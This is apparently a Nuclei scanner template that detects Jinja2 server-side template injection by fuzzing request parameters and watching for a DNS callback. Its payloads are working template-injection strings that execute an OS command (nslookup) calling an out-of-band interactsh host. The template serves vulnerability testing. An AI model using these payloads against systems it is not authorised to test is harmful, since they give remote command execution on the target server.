id: jinja2-oob

info:
  name: Jinja2 - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK,ritikchaddha
  severity: high
  reference:
    - https://pypi.org/project/Jinja2/
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      injection:
        - "{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup+-type=SRV+{{interactsh-url}}').read()}}"
        - "{{ cycler.__init__.__globals__.os.popen('nslookup+-type=SRV+{{interactsh-url}}').read() }}"

    fuzzing:
      - parts:
          - query
          - body
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 4b0a0048304602210086b40c0058e674b6dc11ee0466e3df28503d18dfbd9137dc157b5861f6e97b7302210082eadd2e6ece7e9fdb9de9179f4c8fd342aaaf426882b7028ac46f511c5d62bd:922c64590222798bb761d5b6d8e72950